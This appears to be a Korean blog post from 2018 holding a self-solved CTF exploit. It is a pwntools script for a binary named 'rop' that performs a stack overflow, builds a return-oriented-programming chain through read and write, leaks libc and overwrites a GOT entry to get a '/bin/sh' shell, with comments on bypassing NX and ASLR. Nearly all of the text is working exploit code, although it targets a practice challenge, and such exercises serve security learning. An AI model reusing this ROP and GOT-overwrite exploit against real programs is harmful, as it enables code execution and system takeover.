2018. 5. 2. 22:33ㆍ0x07 CTF/[스스로 푼 것]
#!-*-encoding:utf-8-*-
from pwn import*
'''
rop 의 목적 : nx 및 alsr 우회
조건 1. system 함수가 필요하다
조건 2. binsh 가 필요하다
트리거 과정
1. system 을 구한다
2. binsh 를 구한다
3. 페이로드를 작성한다
'''
context.log_level = 'debug'
elf = ELF('./rop')
p = process('./rop')
read_plt = elf.plt['read'] # 함수를 호출하기 위해 plt가 필요하다
write_plt = elf.plt['write']
read_got = elf.got['read']
#elf = elf.plt['system']바이너리에 시스템이 존재하지 않아서 쓸 수 없다.
pppr = 0x80484b6 # objdump -d ./rop | grep -A3 "pop" 으로 찾아야 정확함 -> 삽질 존나했음
dinamic = 0x08049530
binsh = "/bin/sh"
# 실제 바이너리의 메모리에 libc 가 올라옴으로 libc 안에 있는 함수를 쓸 수 있다. return to libc
payload = "A" * 140 #sfp 까지 덮었따
payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(dinamic)
payload += p32(len(binsh))
payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1) #pop
payload += p32(read_got) # pop
payload += p32(4) #pop
payload += p32(read_plt) #ret
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)
payload += p32(read_plt)
payload += "AAAA"
payload += p32(dinamic)
p.send(payload)
sleep(1)
p.send(binsh)
sleep(1)
read_libc = u32(p.recv(4)) #libc_read leak
system_libc = 0xf7e47da0
log.info("read_libc = " + hex(read_libc))
log.info("system_libc = " + hex(system_libc))
offset = 0xf7ed8b00 - 0xf7e3dda0
log.info("offset = " + hex(offset))
system__ = read_libc - offset
sleep(1)
p.send(p32(system__))
'0x07 CTF > [스스로 푼 것]' 카테고리의 다른 글
0ctf_momo_3 (0) | 2018.06.10 |
---|---|
DEFCON CTF Qualifier 2018 ELF Clumber (0) | 2018.05.14 |
whitehat malloc (0) | 2018.04.14 |
defcon 2015 babyecho (0) | 2018.04.09 |
swamp return writeup (0) | 2018.04.08 |